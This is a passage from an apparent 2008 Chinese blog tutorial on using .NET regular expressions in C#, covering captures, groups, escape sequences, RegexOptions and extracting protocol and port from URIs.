 {
  RunTest();
 }
}
  该示例产生下面的输出:

Number of groups found = 3
  3.5 CaptureCollection 类表示捕获的子字符串的序列

  由于限定符,捕获组可以在单个匹配中捕获多个字符串。Captures属性(CaptureCollection 类的对象)是作为 Match 和 group 类的成员提供的,以便于对捕获的子字符串的集合的访问。例如,如果使用正则表达式 ((a(b))c)+(其中 + 限定符指定一个或多个匹配)从字符串"abcabcabc"中捕获匹配,则子字符串的每一匹配的 Group 的 CaptureCollection 将包含三个成员。

  下面的程序使用正则表达式 (Abc)+来查找字符串"XYZAbcAbcAbcXYZAbcAb"中的一个或多个匹配,阐释了使用 Captures 属性来返回多组捕获的子字符串。

using System;
using System.Text.RegularExpressions;
public class RegexTest
{
 public static void RunTest()
 {
  int counter;
  Match m;
  CaptureCollection cc;
  GroupCollection gc;
  Regex r = new Regex("(Abc)+"); //查找"Abc"
  m = r.Match("XYZAbcAbcAbcXYZAbcAb"); //设定要查找的字符串
  gc = m.Groups;
  //输出查找组的数目
  Console.WriteLine("Captured groups = " + gc.Count.ToString());
  // Loop through each group.
  for (int i=0; i < gc.Count; i++) //查找每一个组
  {
   cc = gc[i].Captures;
   counter = cc.Count;
   Console.WriteLine("Captures count = " + counter.ToString());
   for (int ii = 0; ii < counter; ii++)
   {
    // Print capture and position.
    Console.WriteLine(cc[ii] + " Starts at character " +
    cc[ii].Index); //输入捕获位置
   }
  }
 }
 public static void Main() {
  RunTest();
 }
}
  此例返回下面的输出结果:

Captured groups = 2
Captures count = 1
AbcAbcAbc Starts at character 3
Captures count = 3
Abc Starts at character 3
Abc Starts at character 6
Abc Starts at character 9
  3.6 Capture 类包含来自单个子表达式捕获的结果

  在 Group 集合中循环,从 Group 的每一成员中提取 Capture 集合,并且将变量 posn 和 length 分别分配给找到每一字符串的初始字符串中的字符位置,以及每一字符串的长度。

Regex r;
Match m;
CaptureCollection cc;
int posn, length;
r = new Regex("(abc)*");
m = r.Match("bcabcabc");
for (int i=0; m.Groups[i].Value != ""; i++)
{
 cc = m.Groups[i].Captures;
 for (int j = 0; j < cc.Count; j++)
 {
  posn = cc[j].Index; //捕获对象位置
  length = cc[j].Length; //捕获对象长度
 }
}

图1:对象关系
  把组合字符组合起来后,每次都会返回一个组对象,就可能并不是我们希望的结果。如果希望把组合字符作为搜索模式的一部分,就会有相当大的系统开销。对于单个的组,可以用以字符序列"?:"开头的组禁止这么做,就像URI样例那样。而对于所有的组,可以在RegEx.Matches()方法上指定RegExOptions.ExplicitCapture标志。 

4、利用正则表达式实现字符串搜索

  4.1 在C#中使用.NET一般表达式引擎

  下面将通过一个样例的开发,执行并显示一些搜索的结果,说明一般表达式的一些特性,以及如何在C#中使用.NET一般表达式引擎。说明使用字符串时应在前面加上符号@。

String Text=@"I can not find my position in Beijing";
  把这个文本称为输入字符串,为了说明一般表达式.NET类,本文先进行一次纯文本的搜索,这次搜索不带任何转义序列或一般表达式命令。假定要查找所有字符串ion,把这个搜索字符串称为模式。使用一般表达式和上面声明的变量Text,编写出下面的代码:

String Pattern = "ion";
MatchCollection Matches = Regex.Matches(Text,Pattern,RegexOptions);
foreach(Match NextMatch in Matches)
{ Console.WriteLine(NextMatch.Index); }
  在这段代码中,使用了System.Text.RegularExpressions名称空间中Regex类的静态方法Match()。这个方法的参数是一些输入文本、一个模式和RegexOptions每句中的一组可选标志。Matches()返回MatchCollection,每个匹配都用一个Match对象来表示。在上面的代码中,只是在集合中迭代,使用Match类的Index属性,返回输入文本中匹配所在的索引。运行这段代码,将得到1个匹配项。

  一般集合的功能主要取决于模式字符串。原因是模式字符串不仅仅包含纯文本。如前所述。还包含元字符和转义序列,元字符是给出命令的特殊字符,而转义序列的工作方式与C#的转义序列相同,它们都是以反斜杠\开头的字符,具有特殊的含义。例如,假定要查找以n开头的字,就可以使用转义序列\b,它表示一个字的边界(字的边界是以某个字母数字标的字符开头,或者后面是一个空白字符或标点符号),下面编写如下代码:

String Pattern = @"\bn";
MatchCollection Matches = Regex.Matches(Text,Pattern,RegexOptions.IgnoreCase|
RegexOptions.ExplicitCapture);
  要在运行时把\b传递给.NET一般表达式引擎,反斜杠\不应被C#编译器解释为转义序列。如果要查找以序列ion结尾的字,可以使用下面的代码:

String Pattern = @"ion\b";
  如果要查找以字母n开头,以序列ion结尾的所有字,需要一个以\bn开头,以ion\b结尾的模式,中间内容怎么办?需要告诉计算机n和ion中间的内容可以是任意长度的字符,只要字符不是空白即可,正确的模式如下所示:

String Pattern = @"\bn\S*ion\b";
  4.2 特定字符或转义序列

  大多数重要的正则表达式语言运算符都是非转义的单个字符。转义符 \(单个反斜杠)通知正则表达式分析器反斜杠后面的字符不是运算符。例如,分析器将星号 (*) 视为重复限定符,而将后跟星号的反斜杠 (\*) 视为 Unicode 字符 002A。

  使用一般表达式要习惯的一点是,查看像这样怪异的字符序列,但这个序列的工作是非常逻辑化的。转义序列\S表示任何不适空白的字符。*称为数量词,其含义是前面的字符可以重复任意次,包括0次。序列\S*表示任何不适空白的字符。因此,上面的模式匹配于以n开头,以ion结尾的任何单个字。下表中列出的字符转义在正则表达式和替换模式中都会被识别。

  表1:特定字符或转义序列

特定字符或转义序列 含义 样例 匹配的样例 ^ 输入文本的开头 ^B B,但只能是文本中的第一个字符 $ 输入文本的结尾 X$ X,但只能是文本中的最后一个字符 . 除了换行字符(\n)以外的所有单个字符 i.ation isation、ization * 可以重复0次或多次的前导字符 ra*t rat、raat等 + 可以重复1次或多次的前导字符 ra+t rt、rat、raat等 ? 可以重复0次或1次的前导字符 ra?t 只有rt和rat匹配 \s 任何空白字符 \sa [space]a,\ta,\na(\t和\n与C#的\t和\n含义相同) \S 任何不是空白的字符 \SF aF,rF,cF,但不能是\tf \b 字边界 ion\b 以ion结尾的任何字 \B 不是字边界的位置 \BX\B 字中间的任何X
  如果要搜索一个元字符,也可以通过带有反斜杠的转义字符来表示。例如,.表示除了换行字符以外的任何字符,而\.表示一个点。
可以把可替换的字符放在方括号中,请求匹配包含这些字符。例如,[1|c]表示字符可以是1或者是c。如果要搜索map或者man,可以使用序列"ma[n|p]"(仅指引号内字符,下面雷同)。在方括号中,也可以制定一个范围,例如"[a-z]"表示所有的小写字母(使用连字号 (-) 允许指定连续字符范围),"[B-F]"表示B到F之间的所有大写字母,"[0-9]"表示一个数字,如果要搜索一个整数(该序列只包含0到9的字符),就可以编写"[0-9]+"(注意,使用+字符表示至少要有这样一个数字,但可以有多个数字,所以9、83和3443等都是匹配的。)
下面看看一般表达式的结果,编写一个实例RegularExpressionsZzy。建立几个一般表达式,显示其结果,让用户了解一下表达式是如何工作的。

  该实例的核心是一个方法WriteMatches(),它把MatchCollection中的所有匹配以比较详细的方式显示出来。对于每个匹配,它都会显示该匹配在输入字符串中所在的索引,匹配的字符串和一个略长的字符串,其中包含输入文本中至多8个外围字符,其中至少有5个字符放在匹配的前面,至多5个字符放在匹配的后面(如果匹配的位置在输入文本的开头或结尾5个字符内,则结果中匹配前后的字符就会少于4个)。换言之,靠近输入文本末尾的匹配应是"and messaging ofd",匹配的前后各有5个字符,但位于输入文本的最后一个字上的匹配就应是"g of data",匹配的字后只有一个字符。因为在该字符的后面是字符串的结尾。这个长字符串可以更清楚地表明一般表达式是在什么地方查找到匹配的:

static void WriteMatches(string text, MatchCollection matches)
{
 Console.WriteLine("Original text was: \n\n" + text + "\n");
 Console.WriteLine("No. of matches: " + matches.Count);
 foreach (Match nextMatch in matches)
 {
  int Index = nextMatch.Index;
  string result = nextMatch.ToString();
  int charsBefore = (Index < 5) ? Index : 5;
  int fromEnd = text.Length - Index - result.Length;
  int charsAfter = (fromEnd < 5) ? fromEnd : 5;
  int charsToDisplay = charsBefore + charsAfter + result.Length;
  Console.WriteLine("Index: {0}, \tString: {1}, \t{2}",Index, result,
  text.Substring(Index - charsBefore, charsToDisplay));
 }
}
  在这个方法中,处理过程是确定在较长的字符串中有多少个字符可以显示,而无需超限输入文本的开头或结尾。注意在Match对象上使用了另一个属性Value,它包含标识该匹配的字符串,而且,RegularExpressionsZzy只包含名为Find_po,Find_n等的方法,这些方法根据本文执行某些搜索操作。

  4.3 正则表达式选项

  可以使用影响匹配行为的选项修改正则表达式模式。可以通过两种基本方法设置正则表达式选项:其一是可以在 Regex(pattern, options) 构造函数中的 options 参数中指定,其中 options 是 RegexOptions 枚举值的按位"或"组合;其二是使用内联 (?imnsx-imnsx:) 分组构造或 (?imnsx-imnsx) 其他构造在正则表达式模式内设置它们。

  在内联选项构造中,一个选项或一组选项前面的减号 (-) 用于关闭这些选项。例如,内联构造 (?ix-ms) 将打开 IgnoreCase 和 IgnorePatternWhiteSpace 选项而关闭 Multiline 和 Singleline 选项。

  表2:RegexOptions 枚举的成员以及等效的内联选项字符

RegexOption 成员 内联字符 说明 None 无 指定不设置任何选项。 IgnoreCase i 指定不区分大小写的匹配。 Multiline m 指定多行模式。更改 ^ 和 $ 的含义,以使它们分别与任何行的开头和结尾匹配,而不只是与整个字符串的开头和结尾匹配。 ExplicitCapture n 指定唯一有效的捕获是显式命名或编号的 (?<name>...) 形式的组。这允许圆括号充当非捕获组,从而避免了由 (?:...) 导致的语法上的笨拙。 Compiled 无 指定正则表达式将被编译为程序集。生成该正则表达式的 Microsoft 中间语言 (MSIL) 代码;以较长的启动时间为代价,得到更快的执行速度。 Singleline s 指定单行模式。更改句点字符 (.) 的含义,以使它与每个字符(而不是除 \n 外的所有字符)匹配。 IgnorePatternWhitespace x 指定从模式中排除非转义空白并启用数字符号 (#) 后面的注释。请注意,空白永远不会从字符类中消除。 RightToLeft 无 指定搜索是从右向左而不是从左向右进行的。具有此选项的正则表达式将移动到起始位置的左边而不是右边。(因此,起始位置应指定为字符串的结尾而不是开头。)为了避免构造具有无限循环的正则表达式的可能性,此选项不能在中流指定。但是,(?<) 回顾后发构造提供了可用作子表达式的类似替代物。 ECMAScript 无 指定已为表达式启用了符合 ECMAScript 的行为。此选项仅可与 IgnoreCase 和 Multiline 标志一起使用。将 ECMAScript 同任何其他标志一起使用将导致异常。
  例如,Find_po在字开头处查找以"po"开头的字符串:

static void Find_po()
{
 string text = @" I can not find my position in Beijing ";
 string pattern = @"\bpo\S*ion\b";
 MatchCollection matches = Regex.Matches(text, pattern, RegexOptions.IgnoreCase
| RegexOptions.IgnorePatternWhitespace | RegexOptions.ExplicitCapture);
 WriteMatches(text, matches);
}
  这段代码还使用了名称空间RegularExpressions:

using System;
using System.Text.RegularExpressions;
  4.4 匹配、组和捕获

  一般表达式的一个很好的特性是可以把字符组合起来,方式与C#中的复合语句一样。在C#中,可以通过把任意数量的语句放在花括号中的方式把它们组合在一起。其结果就像一个复合语句那样。在一般表达式模式中,也可以把任何字符组合起来(包括元字符和转义序列),像处理一个字符那样处理它们。唯一的区别是要使用圆括号,而不是花括号,得到的序列成为一个组。

  例如,模式"(an)+"定位序列an的任以重复。量词+只应用于它前面的一个字符,但因为我们把字符组合起来了,所以它现在把重复的an作为一个单元来对待。"(an)."应用到输入文本"bananas came to Europe late in the annals of history"上,会从bananas中选择出anan。另一方面,如果使用an+,则将从annals中选择ann,从bananas中选择出两个an。为什么(an)+选择的是anan,而没有把单个的an作为一个匹配。匹配规则是不能重复的,如果有可能重复,在默认情况下就选择较长的匹配。

  但是,组的功能要比这强大得多。在默认情况下,把模式的一部分组合为一个组时,就要求一般表达式引擎记住可以按照这个组来匹配,也可以按照整个模式来匹配。换言之,可以把组当作一个要匹配的模式,如果要把字符串分解为各个部分,这种模式就是非常有效的。
例如,URI的格式是"<protocol>://<address>:<port>",其中端口是可选的。它的一个样例是http://www.comprg.com.cn:8080。假定要从一个URI中提取协议、地址和端口,而且紧邻URI的后面可能有空白(但没有标点符号),就可以使用下面的表达式:"\b(\S+)://(\S+)(?::(\S+))?\b"

  该表达式的工作方式如下:首先,前导和尾部的\b序列确保只需要考虑完全是字的文本部分,在这个文本部分中,第一组"(\S+)://"会选择一个或多个不适空白的字符,其后是"://"。在HTTPURI的开头会选择出http://。花括号表示把http存储为一个组。后面的"(\S+)"则在上述URI中选择www. comprg.com.cn,这个组在遇到词的结尾时或标记另一个组的冒号"(:)"时结束。

  下一个组选择端口(本例是:8080)。后面的?表示这个组在匹配中是可选的,如果没有:xxxx,也不会妨碍匹配的标记。

  这是非常重要的,因为端口在URI中一般不指定,实际上,在大多数情况下,URI是没有端口号的。但是,事情会比较复杂。如果要求冒号可以出现,也可以不出现,但不希望把这个冒号也存储在组中。为此,可以嵌套两个组:内部的"(\S+)"组选择冒号后面的内容(本例中是8080),外面的组包含内部的组,后面是一个冒号,该冒号又在序列"?:"的后面。这个序列表示该组不应保存(只需要保存"8080",不需要保存":8080")。不要把这两个冒号混淆了,第一个冒号是序列"?:"的一部分,表示不保存这个组,第二个冒号是要搜索的文本。

  在这个字符串上运行该模式:I always visit http://www. comprg.com.cn 得到的匹配是http://www. comprg.com.cn。在这个匹配中,仅提到了三个组,还有第四个组表示匹配本身。理论上,每个组都可以选择0次、1次或者多次匹配。单个的匹配就称为捕获。在第一个组"(\S+)",有一个捕获http。第二个组也有一个捕获www. comprg.com.cn,但第三个组没有捕获,因为在这个URI中没有端口号。注意该字符串在其本身上包含第二个http://。虽然它匹配于第一个组,但不会被搜索出来,因为整个搜索表达式不匹配于这部分文本。
再比如下面这个例子,以下代码示例使用 Match.Result 来从 URL提取协议和端口号。例如,"http://www.yahoo.com.cn:8080/index.html"将返回"http:8080"。

String Extension(String url)
{
 Regex r = new Regex(@"^(?<proto>\w+)://[^/]+?(?<port>:\d+)?/",
 RegexOptions.Compiled);
 return r.Match(url).Result("${proto}${port}");
}
  5、小结

  .NET 框架正则表达式类是基类库的一部分,并且可以和面向公共语言运行库的任何语言或工具(包括 ASP.NET 和 Visual Studio .NET)一起使用。本文给出了在C#下利用正则表达式实现字符串搜索功能的方法,通过对.NET框架下的正则表达式的研究及实例分析,总结了正则表达式的规则、选项等,方便以后朋友们的应用。

posted @ 2008-06-13 14:05 庞滨 阅读(62) 评论(0) 编辑